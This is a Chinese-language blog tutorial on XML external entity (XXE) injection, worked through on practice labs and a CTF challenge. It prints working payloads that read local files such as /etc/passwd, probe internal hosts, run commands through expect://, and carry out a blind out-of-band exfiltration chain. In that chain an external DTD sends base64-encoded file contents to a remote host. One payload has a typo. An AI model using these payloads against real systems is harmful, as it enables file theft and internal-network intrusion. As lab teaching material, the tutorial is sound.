【WEB漏洞原理】XML&XXE利用检测绕过

1、概述

1.1、XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE是XML的一个漏洞


XXE产生根本原因:网站接受XML数据,没有对xml进行过滤


1.2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在**显示信息,而XML旨在传输信息**。

1.3、XML代码示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

2、靶场演示

2.1、Pikachu靶场–XML数据传输测试

image-20230914200459665

-回显,玩法,协议,引入

image-20230914195827083

image-20230914200609514

玩法-1-读取文件

前提:读取的文件必须存在

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///C:/tmp/1.txt">
]>
<x>&xxe;</x>

image-20230914200744610

玩法-2-内网探针或攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.8.3/1.php">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放

如果访问的文件不存在,会显示如下图的信息

image-20230914201117180

玩法-3-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到

引入外部实体DTD
<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
		%file;
]>
<x>&send;</x>

把核心 代码写入evil2.dtd内容如下:

<!ENTITY send SYSTEM "file:///C:/tmp/1.txt">

image-20230914202446789

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施

image-20230914202506375

无回显-读取文件

先把靶场的回显代码注释掉

image-20230914204451864

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/tmp/1.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.8.3:80/test.dtd">
		%dtd;
		%send;
]>

#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtd
  • test.dtd:
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://192.168.8.3:80/?data=%file;'>"
>
%payload;


#去访问?data=上面读到的数据
开启phpstudy–apache日志

image-20230914204048719

image-20230914204207341

重启phpstudy,就有了一个access.log

image-20230914204301315

然后攻击,无回显,查看日志

image-20230914204659302

解码网站:https://www.bejson.com/enc/base64/

image-20230914204803786

3、XXE绕过

CTF XXE

4、XXE检测

4.1、xxe-lab靶场

xxe-lab靶场登录框xml数据传输测试–检查发现

靶场地址:https://github.com/c0ny1/xxe-lab

image-20230914205749442

image-20230914210810316

请求头中如下:
    Content-Type: application/xml;
    或者
    Content-Type: text/xml;

Payload:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/tmp/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20230914211108235

4.2、CTF-Jarvis-OJ-Web-XXE

XXE安全真题复现–修改数据请求格式

地址:http://web.jarvisoj.com:9882/

image-20230914212537086

点击Go!BurpSuite拦截

数据包为json格式

image-20230914212613373

修改Content-Type

提交Payload

<?xml version="1.0"?>
<!DOCTYPE  ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>

image-20230914212918002

4.3、Vulnhub/XXE Lab: 1

靶场地址:XXE Lab: 1

下载地址:Download (Mirror)

image-20230914214744412

5、XXEinjection工具

XXE安全漏洞自动化注射脚本 工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行

工具地址:

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/enjoiz/XXEinjector/archive/master.zip

工具使用:

  • https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git

image-20230914215810231

6、XXE安全防御

php java python 过滤及禁用

image-20230914220424275

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

过期的秋刀鱼-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值